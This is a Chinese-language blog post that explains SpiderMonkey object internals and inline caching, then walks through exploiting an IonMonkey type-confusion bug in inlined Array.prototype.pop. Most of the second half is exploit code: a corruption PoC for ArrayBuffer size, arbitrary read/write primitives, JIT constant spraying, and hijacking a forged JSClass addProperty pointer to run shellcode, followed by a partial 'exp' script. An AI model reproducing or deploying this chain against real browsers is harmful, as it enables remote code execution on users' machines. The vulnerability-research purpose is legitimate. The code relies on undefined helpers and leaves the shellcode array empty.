CC BY 4.0 (除特别声明或转载文章外)
如果这篇博客帮助到你,我会很高兴~
文章较长,在侧边标题栏导航,详细的漏洞分析在第二部分
前置知识
js 的基本运行逻辑
JavaScript 如何被编译的
- 先简单认识以下 JavaScript
js 为一种高级语言,以 html 语言为容器运行在服务端和浏览器上,需要被编译为低级语言才能被计算机执行。而它又是一款弱类型数据语言,可以在编写的时候随意修改数据类型,但因为这个特性它被被编译为静态机器语言的效率十分底下,因为里面的数据类型只有在运行时才能确定。为了提高编译效率,它被动态编译。而因为这个特性编译器需要特别的技术才能实现这个功能,这个技术就是 jit(运行时编译)。融合了这个技术的编译器就叫做: 引擎。
然后就是 js 是一个脚本语言,是直接在浏览器引擎上面运行的,所以 js 的编译器都是把这个引擎分离了出来作为内核的。虽然可以直接在浏览器的控制台上面运行,但 js 原本是需要以 html 作为容器才能运行的
IonMonkey
火狐的经典 引擎 是 spidermonkey,IonMonkey 是 spidermonkey 中的一个高级优化编译器组件。它是专门为了提升 JavaScript 在 SpiderMonkey 引擎中的执行性能而设计的, 这次的漏洞就是在这个组件上
JavaScript 一些知识
数据类型
- js 的数据类型分为两种,引用类型和基本类型,基本类型和其他语言里面的 int,float,string,bool 一样我们重点学习引用类型
- js 的引用类型非常的自由(
不规范), js 中一切引用类型都是对象,而对象里面又能储存引用类型.当将一个对象赋值给另一个变量时,实际上是将对象的引用(也就是指针)赋值给了新变量,两个变量最终指向内存中的同一个对象一点代码实例
// new操作符后跟函数调用
let obj = new Object()
let arr = new Array()
// 字面量表示法
let obj = { a: 1}
// 等同于
let obj = new Object()
obj.a = 1
let arr = [1,2]
// 等同于
let arr = new Array()
arr[0] = 1
arr[1] = 2
- 所有对象都是由 new 操作符后跟函数调用来创建的,字面量表示法只是语法糖(即本质也是 new,功能不变,使用更简洁)
- 对象的由来–构造函数(创造对象的 函数 就是构造函数,构造函数 也是对象,他也有一堆的属性和方法)
构造函数
// 惯例,构造函数应以大写字母开头
function Person(name) {
// 函数内this指向构造的对象
// 构造一个name属性
this.name = name
// 构造一个sayName方法,该方法以name属性为参数,使用打印函数为操作
this.sayName = function() {
console.log(this.name)
}
}
// 使用自定义构造函数Person创建对象
let person = new Person('logan')
person.sayName() // 输出:logan
在这里,我们可以把对象类比为我们 python 中的类,对象的实例可以类比为对象,但是这里我们还是要注意一些差异
Array 类型、Function 类型、Object 类型等都是引用类型,也就是说 数组是对象、函数是对象、正则是对象、对象还是对象,为了 简化理解,存储’操作’的对象我们认为它就是一个引用类型,内容不会存在于对象本身,而是存在于另其他地方。
所以引用类型可以理解为指针集合,存储对象的地址。对象就是高级版类,键值对作为属性,当值为函数体时该键值对就是方法。因为属性的值可以是函数体,自然也可以是对象,所以对象就是这种层层嵌套的复杂数据结构
原型和原型链
- 原型和原型链都是来源于对象而服务于对象的概念
上面我们说当值为函数体时该键值对就是方法,而方法的原初目的就是实现代码复用,但 js 里的对象又不能实现继承,所以我们就需要原型来实现继承。每一个对象从被创建开始就和另一个对象关联,从另一个对象上继承其属性,这个另一个对象就是 原型
当访问一个对象的属性时,先在对象的本身找,找不到就去对象的原型上找,如果还是找不到,就去对象的原型(原型也是对象,也有它自己的原型)的原型上找,如此继续,直到找到为止,或者查找到最顶层的原型对象中也没有找到,就结束查找,返回 undefined,这条由对象及其原型组成的链就叫做原型链
原型链的实现
proto
这是对象的实例的一个默认属性,作用为:取该实例对象的构造函数的原型对象的 方法
- 只要是引用类型,就有 proto 属性,该属性指向它们各自的原型对象(这里的属性可以是 基本数据,也可以是 操作(函数)和其他引用类型), proto 就是操作, 即:获取对象的原型
- 假设有一个实例对象 person,可以通过 Object.getPrototypeOf(person) 来获取它的原型对象,Object.getPrototypeOf(person) === person.__proto_ _ // true这个表示这两个语法是等价的,而_ _proto__属性是内部属性,不应该直接访问,而应该使用 Object.getPrototypeOf()方法来获取原型对象。
prototype
这是函数里面的一个 原型对象,在 js 中,每个函数对象都有一个
prototype
属性(除了Arrow Functions
),这个属性指向 由该函数作为构造函数创建的实例对象的原型。 - 每个普通函数(非引用函数)在定义时都会自动生成一个
prototype
属性。 prototype
是一个对象,它被用于定义(管理)由该函数创建的实例的 共享属性和方法。- 当通过
new
操作符调用函数时,生成的对象会将其内部的[[Prototype]]
隐式链接到该函数的prototype
属性。
这两个的区别就是,proto 存在于对象实例中,而 prototype 存在于函数对象中,使用 prototype 我们就可以在还没有创造实例的情况下就修改对象原型
ArrayBuffer
- 这里我们重点学习需要深入理解的一种对象
1. ArrayBuffer 的基本概念
ArrayBuffer
是一种表示原始二进制数据的对象,通常用于处理大量的二进制数据,如音频、视频、图像文件,或者底层数据存储。它提供了一个固定大小的内存块,而没有指定数据类型。
例子:
let buffer = new ArrayBuffer(16); // 创建一个16字节的 ArrayBuffer
2. 视图 (Typed Arrays)
ArrayBuffer
只能存储原始二进制数据,但它本身无法直接进行数据操作。为了方便地访问和操作 ArrayBuffer
中的内容,JavaScript 提供了多种 视图(Typed Array
),它们是围绕 ArrayBuffer
构建的对象。
每种视图都定义了如何将 ArrayBuffer
中的 数据 转换成具体的 数据类型(类型转换)。视图通过指定“字节顺序”和“数据类型”来控制如何读取或写入内存。
例子:
let buffer = new ArrayBuffer(16);//(16字节长度)
let uint8View = new Uint8Array(buffer); // 8位无符号整数视图
let uint32View = new Uint32Array(buffer); // 32位无符号整数视图
3. Uint32Array 和 Uint8Array
Uint32Array
和Uint8Array
都是ArrayBuffer
的视图,它们提供了不同大小的数据单元:Uint8Array
:每个元素占用 1 字节,表示 8 位无符号整数。Uint32Array
:每个元素占用 4 字节,表示 32 位无符号整数。
尽管它们都指向同一个 ArrayBuffer
,它们的访问方式和解释内存内容的方式不同,因而它们的数据存储格式和访问的粒度也不同。
例子:
let buffer = new ArrayBuffer(16); // 创建16字节的缓冲区
let uint8View = new Uint8Array(buffer); // 创建一个Uint8视图,操作8位数据
let uint32View = new Uint32Array(buffer); // 创建一个Uint32视图,操作32位数据
uint8View[0] = 1; // 设置第一个字节为 1
uint32View[0] = 123456; // 设置第一个32位数字为 123456
console.log(uint8View); // Uint8Array [1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
console.log(uint32View); // Uint32Array [123456, 0, 0, 0]
Uint8Array
将ArrayBuffer
分为多个 1 字节的元素,按字节操作内存。Uint32Array
将同一块内存分为多个 4 字节的元素,按 32 位(4 字节)块来操作内存。a=new ArrayBuffer(32) var e=new Uint32Array(a) //Uint32Array(8) [0, 0, 0, 0, 0, 0, 0, 0, buffer: ArrayBuffer(32), byteLength: 32, byteOffset: 0, length: 8, Symbol(Symbol.toStringTag): 'Uint32Array'] //这里可以看到Uint32Array后面跟着一堆其他的东西,这些就是创建该实例默认就有的属性
内存布局
1. ArrayBuffer 的主要字段
在内存中,ArrayBuffer
分为以下几个部分,分别对应其属性和作用:
1.1 group 和 shape
group
(0x00007f8e13a798e0):- 指向对象的分组信息,用于描述对象的类型和行为。
group
包含了JSClass
的引用,JSClass
定义了该对象的类信息和操作行为(如属性访问、方法调用等)。
shape
(0x00007f8e13aa1768):- 描述对象的结构信息。
shape
包含了对象的属性定义,包括属性的键、值、标志位等。 - 用于快速查找对象的属性。
- 描述对象的结构信息。
1.2 slots 和 elements
slots
(0x0000000000000000):slots
通常用于存储对象的动态属性,但在ArrayBuffer
中并未使用,因此这里为空。
elements
(0x000055d6ee8ead80):elements
指向与对象绑定的存储区域。在ArrayBuffer
中,elements
指向的数据为空,因为数据存储是通过一个独立的数据缓冲区来管理的(后面详细介绍)。
1.3 数据缓冲区相关字段
Shifted pointer pointing to data buffer
(0x00003fc709d44160):- 这是一个偏移指针,指向实际的
ArrayBuffer
数据缓冲区的起始地址。 - 数据缓冲区(data buffer)是
ArrayBuffer
的核心部分,用于存储二进制数据。
- 这是一个偏移指针,指向实际的
size in bytes of the data buffer
(0xfff8800000000020):- 数据缓冲区的大小,这里是
0x20
(32 字节)。
- 数据缓冲区的大小,这里是
1.4 视图指针和标志位
Pointer pointing to first view
(0xfffe7f8e15e00480):- 指向与该
ArrayBuffer
关联的第一个视图(如DataView
或TypedArray
)。 ArrayBuffer
本身 不直接暴露其内容,而是通过视图来访问缓冲区的数据。
- 指向与该
flags
(0xfff8800000000000):- 标志位,存储一些与
ArrayBuffer
状态相关的信息。
- 标志位,存储一些与
2. 数据缓冲区的布局
数据缓冲区紧跟在 ArrayBuffer
的元数据之后,用于存储具体的二进制数据。
2.1 数据缓冲区内容
- 地址 0x7f8e13a882d0 的数据缓冲区:
- 在这一地址,存储的是具体的二进制数据内容。
- 数据缓冲区的大小由
size in bytes of the data buffer
决定,这里是0x20
字节。
2.2 多个 ArrayBuffer
的缓冲区
- 图中展示了多个
ArrayBuffer
的数据缓冲区。- 第一个
ArrayBuffer
的数据缓冲区 位于地址0x7f8e13a882d0
。 - 第二个
ArrayBuffer
的数据缓冲区 则位于下一个地址。 - 这种布局表明,多个
ArrayBuffer
可以共享相似的元数据结构,但每个ArrayBuffer
的缓冲区数据是独立的。
- 第一个
3. 内存布局的作用
这种内存布局的设计支持了 ArrayBuffer
的高效操作:
- 元数据(如
group
、shape
、slots
等)存储对象的行为和属性定义。(也给了我们泄露其它地址的机会) -
数据缓冲区专注于存储二进制数据,便于直接操作。
-
通过
Pointer pointing to first view
,可以为同一个ArrayBuffer
创建多个视图 - 通过
shape
和group
组织结构,SpiderMonkey 可以快速查找和操作对象属性。
简单的总结一下就是:ArrayBuffer 开辟一块固定的内存,视图作为 类型转换 般的存在来读写这个开辟的内存
内联缓存机制
这次漏洞是通过这个机制触发的,所以我们需要了解一下这个机制
1. JavaScript 对象模型
ECMAScript 规范基本上将所有对象定义为由字符串键值映射到 property 属性 的字典
这里我们有一个对象,它有 3 个属性,如果你访问某个属性,例如 arry [1],JavaScript 引擎会在 JSObject 中查找键字符串 ‘1’,然后加载相应的属性值,最后返回 [[Value]]
2. Shapes 和 Slots 的概念
什么是 Shape?
Shape
是 JavaScript 引擎中用来描述对象结构的一种数据结构。它包含了对象的属性名称以及这些属性在内存中的位置(偏移量)等信息。
function logX(object) {
console.log(object.x);
//
}
const object1 = { x: 1, y: 2 };
const object2 = { x: 3, y: 4 };
logX(object1);
logX(object2);
object1
和object2
具有相同的属性名x
和顺序,因此它们共享同一个Shape
。- 形状的特点:
- 如果多个对象具有相同的属性名和顺序,这些对象会共享同一个
Shape
。 - 对象的
Shape
会随着属性的添加/删除动态变化。
- 如果多个对象具有相同的属性名和顺序,这些对象会共享同一个
-
形状的作用:
- 假设我们遇到更多同形状的对象,那么在 JSObject 自身存储包含属性名和属性值的完整字典便是很浪费(空间)的,
- 因为对具有相同形状的所有对象我们都重复了一遍属性名称。 它太冗余且引入了不必要的内存使用。 作为优化,引擎将对象的 Shape 分开存储
- 引擎通过
Shape
来快速定位对象属性在内存中的位置,而不需要遍历整个对象的键值对。
-
例子: Shape 包含除 [[Value]] 之外的所有属性名和其余特性。相对应的,Shape 包含 JSObject 内部值的偏移量,以便 JavaScript 引擎知道去哪查找具体值。每个具有相同形状的 JSObject 都指向这个 Shape 实例。 现在每个 JSObject 只需要存储对这个对象来说唯一的那些值
- 也就是这样
a, b 共享同一个 shape 实例,实例属性中有两个 x,y 属性为键,这两个属性的第一个属性(这些属性的属性就是也就是 slots)就是偏移,根据这个内部值的偏移量,我们就可以找到这个属性的值.一个 Shape 都会与其之前的 Shape 相连, 引入新的属性时就不必大幅改变之前的 Shape 了
Slots
是存储对象属性值的地方。Shape
只记录属性的元信息(例如属性名、偏移量等),而属性值本身存储在对象的 slots
中。
- Slots 的特点:
- 每个对象都有自己的
slots
,存储该对象的所有属性值。 Shape
中记录了属性到slots
的映射关系(即偏移量)。
- 每个对象都有自己的
- 对象的内存布局:
- 对象的内存分为两部分:
- Shape 指针: 指向描述对象结构的
Shape
。 - Slots: 存储对象的属性值。
- Shape 指针: 指向描述对象结构的
- 对象的内存分为两部分:
- 例子:
const obj = { x: 42, y: 43 };
Shape
:{ properties: ['x', 'y'], offsets: [0, 1] }
Slots
:[42, 43]
3. js 内联缓存机制S的概念
什么是Inline Cache?
内联缓存(Inline Cache,简称 IC)是一种优化技术,旨在加速 JavaScript 引擎中对象属性的访问。它通过缓存对象的形状(Shape)和属性偏移量(offset),避免重复的属性查找操作,从而大幅提高性能。
为什么需要内联缓存?
内联缓存是为了解决 属性访问的性能问题 而被发明的。
在 JavaScript 中,对象是动态的,属性可以随时添加、删除或修改。这种灵活性在引擎内部实现时会带来以下问题:
- 属性查找成本高:
- JavaScript 对象本质上像一个字典,其中键是属性名称,值是属性值及其特性。如果每次访问属性都需要在对象的字典中查找键,会导致性能下降。
- 例如:
const obj = { foo: 42 }; const value = obj.foo; // 每次访问属性时都需要在字典中查找键 'foo'
- 动态行为难以预测:
- JavaScript 的动态特性允许对象的形状(Shape)随时变化。比如:
const obj = {}; obj.x = 10; // 动态添加属性 x obj.y = 20; // 动态添加属性 y
每次对象形状发生变化,属性的存储位置也会改变,导致查找属性的成本更高。
- JavaScript 的动态特性允许对象的形状(Shape)随时变化。比如:
- 多次查找的重复计算问题:
- 如果一个属性的访问模式是重复的,比如:
function getX(o) { return o.x; } const obj1 = { x: 10 }; const obj2 = { x: 20 }; getX(obj1); getX(obj2);
每次调用
getX
时都需要重新查找x
的位置(字典查找),即使这些对象有相同的形状。
- 如果一个属性的访问模式是重复的,比如:
- 第一次访问时记录对象的形状和属性的偏移量:
- 当 JavaScript 引擎第一次访问对象的某个属性时,它会查找该属性的位置(通过对象的
Shape
和slots
),并将结果缓存到内联缓存中。 - 例如:
function getX(o) { return o.x; } getX({ x: 42 });
在第一次执行时,
o
的Shape
被记录下来,同时记录了属性x
在内存中的偏移位置。
- 当 JavaScript 引擎第一次访问对象的某个属性时,它会查找该属性的位置(通过对象的
- 后续访问时直接复用缓存:
- 如果后续访问的对象具有相同的
Shape
,引擎会直接从缓存中获取属性的偏移量并返回值,而不需要再次进行查找。 - 例如:
const obj1 = { x: 10 }; const obj2 = { x: 20 }; getX(obj1); // 第一次调用时缓存 obj1 的形状和偏移量 getX(obj2); // obj2 的形状和 obj1 一样,直接复用缓存
- 如果后续访问的对象具有相同的
- 形状不匹配时回退:
- 如果后续访问的对象形状与缓存中记录的不符(比如对象新增了属性),内联缓存会失效,回退到重新查找属性的模式。
4. 内联缓存的实现及其作用
内联缓存的实现
- 缓存形状和偏移量:
- 每个 IC 都存储两个关键信息:
- 对象的
Shape
。 - 属性的偏移量。
- 对象的
- 每个 IC 都存储两个关键信息:
- 属性访问流程:
- 第一次访问: 查找
Shape
记录的偏移量,并将其缓存到 IC。 - 后续访问: 如果对象的
Shape
未变化,则直接使用缓存中的偏移量。
- 第一次访问: 查找
- 字节码中的内联缓存:
- 在 JSC(JavaScriptCore)中,属性访问的字节码指令如
get_by_id
会嵌入内联缓存。 - 例如:
function getX(o) { return o.x; }
- 第一次调用时,
get_by_id
查找Shape
和偏移量。 - 后续调用时,直接从缓存中获取
x
的值。
- 第一次调用时,
- 在 JSC(JavaScriptCore)中,属性访问的字节码指令如
对象拓展属性
在 SpiderMonkey 引擎中,对象与 JSClass
对象的属性关联是通过 类定义 (JSClass
) 和 操作处理函数 (ClassOps
) 实现的。这些结构控制了对象的行为,包括属性的添加、删除、修改等。
对象与 JSClass
的关联
- 每个 JavaScript 对象在 SpiderMonkey 引擎中都有一个
JSClass
,用于描述该对象的行为。 JSClass
是一个结构体,其中包含了一些元信息(如名字、标志位等)和一个ClassOps
指针。ClassOps
是一个操作表,包含多个函数指针,这些指针定义了对象的行为,例如对象如何添加属性、删除属性、枚举属性等。- 关联方式:通过对象的
shapeOrExpando_
字段(指向Shape
结构),可以进一步找到与对象关联的BaseShape
,而BaseShape
包含指向JSClass
的指针,从而关联到具体的类定义。
ClassOps
的作用
ClassOps
包含了一组控制对象行为的函数指针,例如:
addProperty
:当向对象添加属性时调用。delProperty
:当从对象删除属性时调用。enumerate
:用于枚举对象的属性。resolve
:用于动态解析属性。finalize
:对象被垃圾回收时调用,用于释放资源。
ClassOps
的内存布局
ClassOps
是一个结构体,主要字段如下:
struct JSClassOps {
JSAddPropertyOp addProperty; // 添加属性的回调
JSDeletePropertyOp delProperty; // 删除属性的回调
JSGetterOp getProperty; // 获取属性的回调
JSSetterOp setProperty; // 设置属性的回调
JSEnumerateOp enumerate; // 属性枚举回调
JSResolveOp resolve; // 动态解析属性回调
JSMayResolveOp mayResolve; // 查询是否可以解析属性
JSFinalizeOp finalize; // 垃圾回收时的清理回调
JSCallOp call; // 对象被调用时的回调
JSHasInstanceOp hasInstance; // 用于 `instanceof` 操作
JSEnumerateOp construct; // 构造函数回调
};
在内存中,ClassOps
是以连续的指针形式存储的,每个字段指向对应的实现函数。例如:
+--------------------+
| addProperty | --> 指向实现 `addProperty` 的具体函数
+--------------------+
| delProperty | --> 指向实现 `delProperty` 的具体函数
+--------------------+
| getProperty | --> 指向实现 `getProperty` 的具体函数
+--------------------+
| ... | --> 其它回调函数
+--------------------+
例子:addProperty
的触发
触发流程
- 当向对象添加属性时,SpiderMonkey 引擎会检查对象的
JSClass
。 - 如果对象的
JSClass
关联了一个ClassOps
,并且ClassOps
中定义了addProperty
函数,则 SpiderMonkey 会调用它。 addProperty
函数的签名如下:typedef bool (*JSAddPropertyOp)(JSContext* cx, HandleObject obj, HandleId id, HandleValue v);
cx
:当前的 JS 上下文。obj
:当前操作的对象。id
:属性的标识符(如属性名)。v
:属性的值。
代码示例
这里我们写一个简单的 JSClass
定义来模拟一下调用链,其中实现了 addProperty
回调:
#include "jsapi.h"
// 自定义的 addProperty 回调
bool MyAddProperty(JSContext* cx, JS::HandleObject obj, JS::HandleId id, JS::HandleValue v) {
printf("Property added!\n");
return true;
}
// 自定义 ClassOps
static const JSClassOps myClassOps = {
MyAddProperty, // 添加属性的回调
nullptr, // 无删除属性的回调
nullptr, // 无获取属性的回调
nullptr, // 无设置属性的回调
nullptr, // 无枚举属性的回调
nullptr, // 无解析属性的回调
nullptr, // 无 mayResolve 回调
nullptr, // 无 finalize 回调
};
// 自定义 JSClass
static const JSClass myClass = {
"MyClass", // 类名
0, // 标志位
&myClassOps, // 指向 ClassOps
};
// 创建对象并触发 addProperty
void TestAddProperty(JSContext* cx) {
// 创建对象
JS::RootedObject obj(cx, JS_NewObject(cx, &myClass));
// 添加属性,触发 addProperty 回调
JS::RootedValue value(cx, JS::Int32Value(42));
JS_DefineProperty(cx, obj, "myProp", value, JSPROP_ENUMERATE);
}
运行结果
当运行上述代码时,添加属性 myProp
会调用 MyAddProperty
函数,输出如下内容:
Property added!
也就是说我们添加属性的时候就触发了 ClassOps 表中第一个函数指针
基本攻击原理
类型混淆
- 原理:IonMonkey 在内联 Arrary.prototype 时,没有检查 prototype 上的索引元素。它只检查 Array prototype 链上是否有索引元素
比如
a.__proto__ --> b.__proto__ --> Array.prototype --> Object.prototype --> null
在 a 对象实例和 Array.prototype 间插入一个 b.proto 原型,那么内联 pop 函数后保存此函数的地址,并在下次调用 Array.pop 时,所有这些查找都不需要重新计算,所以此时 b.proto 原型相同索引上有和 a 对象中不同的属性就会引起类型混淆(当然触发它还需要使 a 变成稀疏数组)
类型混淆 poc
buf = []
for(var i=0;i<100;i++)
{
buf.push(new ArrayBuffer(0x20));
}
var abuf = buf[5];
var e = new Uint32Array(abuf);
const arr = [e, e, e, e, e];
function vuln(a1) {
if (arr.length == 0) {
arr[3] = e;
}
const v11 = arr.pop();
v11[a1] = 0x80
for (let v15 = 0; v15 < 100000; v15++) {}
}
p = [new Uint8Array(abuf), e, e];
arr.__proto__ = p;
for (let v31 = 0; v31 < 2000; v31++) {
vuln(18);
}
我们创建了一个 buf 数组,储存了 100 个 ArrayBuffer(0x20),并用 buf [5] 以 Uint32Array 视图创建了 e 对象,然后又用 arr 数组储存了 e 对象,并且还构造了储存不同类型对象的原型插入到 a.proto –> Array.prototype 之间,然后构建了造成混淆的函数,并用 2000 次循环强制引擎内联 vuln 函数以此触发漏洞
- 当 arr 数组不为空时会弹出末尾的 e 对象,然后访问第 18 个元素,但是此时是 Uint32Array 视图,索引最大值只能是 0x20//4,判断不通过, 但是此时只会访问不成功,程序并不会崩溃
mov edx,DWORD PTR [rcx+0x28] # rcx contains the starting address of the typed array
cmp edx,eax
jbe 0x6c488017337
- 当所有元素被弹出时第四个元素被赋值为 e,此时 arr 变成稀疏数组,此时如果访问前三个元素就会通过 索引元素 的机制去 p 里面查找相同的索引符号对应的属性里有没有值,如果有的话就返回给 arr,所以此时我们访问第一个元素就会返回 Uint8Array(abuf),但 const v11 = arr.pop(); 任然会把这个 Uint8Array 对象当成 Uint32Array 来处理,后面的访问内存等操作都是 Uint32Array 那样,比如下面的汇编
mov rcx,QWORD PTR [rcx+0x38] # rcx contains the underlying buffer mov DWORD PTR [rcx+rbx*4],0x80
- 此时 Uint8Array 属性 [rcx+0x28] 里的值就不是 0x20//4 而是 0x20//1 了,所以此时索引有效,访问成功,而后面的取地址却是[rcx+rbx*4],此时 rbx 我们设定的为 18,那么访问到的值就是下一个索引处的 buf 的对象里的 bytesize 属性,内存分布如下
计算方式就是:0x7f8e13a882c0(当前 data 缓冲区的起始地址)+4*18 == 0x7f8e13a88308(下一个 ArrayBuffer(0x20)处的 bytesize 属性的地址),该地址里面前 4 个字节是 spidermonkey 的对象都会加上的一个 tag,后面四个字节才是 size 的值,可以看到就是 0x20
- 此时我们有了任意修改下一个 ArrayBuffer(0x20)尺寸的能力,那么访问下一个 ArrayBuffer(0x20)的时候就可以通过随意控制的索引实现任意地址访问
任意地址读写
前面我们以 buf [5] 为 Uint32Array 视图创建对象把它混淆为了 Uint8Array 以此来修改了下一个 buf 索引处的 bytesize 为 0x80,那么我们就可以通过访问 buf [6] 来修改 buf [7] 的所有内存以此来实现任意地址读写,
leaker = new Uint8Array(buf[7]);
aa = new Uint8Array(buf[6]);
leak = aa.slice(0x50,0x58); //读出的值转换一下大小端序才能用
leaker 是我们可以完全掌控的对象,buf [6] 是我们被修改过尺寸用来读写 buf [7] 的对象,此时我们从 buf [6] 的数据缓冲区越界访问到 buf [7] group 是此 buf [7] 的地址, leak 是此 buf [7] 的数据指针 我们编辑 leaker 对象的 leak 段并将其指向任何地方。之后,查看数组的数据段会泄漏该地址的值,并且写入该数组会编辑该地址的 内容
- 具体的实现如下,细节我写在了注释里.这里我是根据这张图和上下文来推断内存运算的作用
leaker = new Uint8Array(buf[7]);
aa = new Uint8Array(buf[6]);
leak = aa.slice(0x50,0x58); // 该地址为整个buf的起始地址,也就是ArrayBuffer的地址
group = aa.slice(0x40,0x48); // 当前buf[7]的起始地址
slots = aa.slice(0x40,0x48); //读的内容要转换一下大小端序,然后处理一下数据,作者通过LS和reverse函数完成了,这里就不展示这些和去掉tag等内存层面的细节了,只展示逻辑层面的实现
add(leak,new data("0x38") //ArrayBuffer对象中Uint8Array属性的地址
for (var i=0;i<leak.length;i++)
aa[0x40+i] = leak[i] //利用aa修改buf7的数据指针为Uint8Array的地址
sub(leak,new data("0x10")) //ArrayBuffer的地址
changer = new Uint8Array(buf[7]) //以修改后的buf创建一个新视图,此时它的数据缓冲区将指向一个Uint8Array,也就是本来的leaker
function write(addr,value){
for (var i=0;i<8;i++)
changer[i]=addr[i] //这个新的视图把要写入的地址覆盖到原buf7的数据段
value.reverse()
for (var i=0;i<8;i++)
leaker[i]=value[i] //然后用原本的leaker来访问刚刚覆盖的地址并向该地址写入数据
}
function read(addr){
for (var i=0;i<8;i++)
changer[i]=addr[i]
return leaker.slice(0,8) //同理
}
function read_n(addr, n){
write(leak,n)
for (var i=0;i<8;i++)
changer[i]=addr[i]
return leaker //写入数据后返回leaker的地址,也就是写入了数据空间的地址
}
//基地址+偏移,访问此时对象的地址
sub(group,new data("0x40")) // this now points to the group member
sub(slots,new data("0x30")) // this now points to the slots member
代码执行
现在我们可以利用任意地址读写去控制执行流来执行 mmap 使得有内存来执行我们的 shellcode, 利用 JSClass 对象关联链很任意就可以做到
//用刚刚我们实现的函数来进行改写指定地址内容
//保存mmap_shellcode,再利用大循环强制jit把我们的shellcode编译为字节码
buf[7].func = function func() {
const magic = 4.183559446463817e-216;
const g1 = 1.4501798452584495e-277
const g2 = 1.4499730218924257e-277
const g3 = 1.4632559875735264e-277
const g4 = 1.4364759325952765e-277
const g5 = 1.450128571490163e-277
const g6 = 1.4501798485024445e-277
const g7 = 1.4345589835166586e-277
const g8 = 1.616527814e-314
}
for (i=0;i<100000;i++)
buf[7].func()
slots_ptr = read(slots) //读取slots属性的地址
func_ptr = read(slots_ptr) //通过读取slots的内容来读取func_ptr对象
//通过shape链的机制,我们知道添加新属性的时候地址会通过上一个shape链来储存,此时新添加的属性访上一个shpae属性来向上一个slots属性处添加一个slots对象
//所以此时slots的内容就是刚刚添加的func属性的地址
add(func_ptr,new data("0x30")) //偏移0x30就是jit_ptr地址
jit_ptr=read(func_ptr);
jitaddr = read(jit_ptr); //泄露jit的指针,此时就可以根据这个指针去jit里面找我们编译好的shellcode的地址
sub(jitaddr,new data("0xff0")) //jit基地址
for(j=0;j<3;j++){
asdf = read_n(jitaddr,new data("0xff0"))
//每次读取0xfff处的地址,遍历整个jit区域直至匹配到我们写入的magic value
offset=-1;
for (var i =0;i<0xff0;i++)
{
if (asdf[i]==0x37 && asdf[i+1]==0x13 && asdf[i+2]==0x37 && asdf[i+3]==0x13 && asdf[i+4]==0x37 && asdf[i+5]==0x13 && asdf[i+6]==0x37 && asdf[i+7]==0x13){
offset=i;
break
}
}
//找到地址时退出
if(offset!=-1)
break
jitaddr.reverse()
add(jitaddr,new data("0xff0")) //jit复原
jitaddr.reverse()
}
offset = offset+8+6
add(jitaddr,new data(offset.toString(16))) //jit的基地址加上偏移就是我们的shellcode的地址
aa = read(group) //读取group属性的地址
grp_ptr = read(aa) //通过读取grop的内容来读取clasp_ pointer
jsClass = read_n(grp_ptr,new data("0x30")) //偏移0x30的地址就是JSClass对象的地址
//获取原JSClass对象的属性
name = jsClass.slice(0,8)
flags = jsClass.slice(8,16)
cOps = jsClass.slice(16,24)
spec = jsClass.slice(24,32)
ext = jsClass.slice(40,48)
oOps = jsClass.slice(56,64)
add(group,new data("0x60"))
backingbuffer = group.slice(0,8) //保存原本的group属性的地址
//开始构造新的JSClass对象并保存在grop-->JSClass-->Ops链上
oops = group.slice(0,8)
add(oops,new data("0x30"))
write1(group,name)
addEight() //每次地址偏移8到下一个地址
write1(group,flags)
addEight()
write1(group,cOps)
addEight()
write1(group,spec)
addEight()
write1(group,ext)
addEight()
write1(group,oOps)
addEight()
write1(group,jitaddr) //Jsclass连续的下面就是对象的Ops属性,让第一个addProperty指向我们的shellcode地址
sc_buffer = new Uint8Array(0x1000);
buf[7].asdf=sc_buffer //创建一个Uint8Array来保存shellcodem,创建新的属性把这个sc_buffer的地址写入到下一个slots属性处
add(slots_ptr,eight) //偏移8到新的asdf属性处
sc_buffer_addr = read(slots_ptr) //读取adsf地址,此时就是shellcode 的缓冲区的地址
add(sc_buffer_addr,new data("0x38")) //添加 0x38 就获得存储原始 shellcode 的缓冲区的地址。
ptr = read(sc_buffer_addr) //以函数指针的形式获取这块区域的地址
ss=inttod(ptr) //转换为8字节来,以地址的形式来操作值
sc=[] //Shellcode for execve("/usr/bin/xcalc",[],["DISPLAY=:0"])
for(var i=0;i<sc.length;i++)
sc_buffer[i]=sc[i] //把execv的shellcode写入sc_buffer
write1(aa,backingbuffer) //向aa对象的grop属性写入构造好的Class 对象的引用, 该对象的cOps属性的addProperty指针指向我们的shelcode地址
buf[7].jjj=ss //添加新属性来触发shelcode执行
攻击
poc现场
在 ubuntu 里建了一个文件夹,里面放入 exp.js 和 exp.html,然后在终端里执行 python 的 http.server 命令,无沙箱运行浏览器,访问对应的 ip 地址和端口号就成功了,如下图
运行的服务
攻击成功
exp
buf = []
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
var abuf = buf[5];
var e = new Uint32Array(abuf);
const arr = [e, e, e, e, e];
function vuln(a1) {
if (arr.length == 0) {
arr[3] = e;
}
const v11 = arr.pop();
v11[a1] = 0x80
for (let v15 = 0; v15 < 100000; v15++) {}
}
p = [new Uint8Array(abuf), e, e];
arr.__proto__ = p;
for (let v31 = 0; v31 < 2000; v31++) {
vuln(18);
}
leaker = new Uint8Array(buf[7]);
aa = new Uint8Array(buf[6]);
leak = aa.slice(0x50,0x58);
group = aa.slice(0x40,0x48);
slots = aa.slice(0x40,0x48);
leak.reverse()
group.reverse()
slots.reverse()
LS(group)
LS(slots)
leak[0]=0
leak[1]=0
add(leak,new data("0x38"))
RS(leak)
leak.reverse()
for (var i=0;i<leak.length;i++)
aa[0x40+i] = leak[i]
leak.reverse()
LS(leak)
sub(leak,new data("0x10"))
leak.reverse()
changer = new Uint8Array(buf[7])
function write(addr,value){
for (var i=0;i<8;i++)
changer[i]=addr[i]
value.reverse()
for (var i=0;i<8;i++)
leaker[i]=value[i]
}
function read(addr){
for (var i=0;i<8;i++)
changer[i]=addr[i]
return leaker.slice(0,8)
}
function read_n(addr, n){
write(leak,n)
for (var i=0;i<8;i++)
changer[i]=addr[i]
return leaker
}
sub(group,new data("0x40"))
sub(slots,new data("0x30"))
print1(group)
print1(slots)
group.reverse()
slots.reverse()
aa = read(group)
aa.reverse()
print1(aa)
aa.reverse()
grp_ptr = read(aa)
grp_ptr.reverse()
print1(grp_ptr)
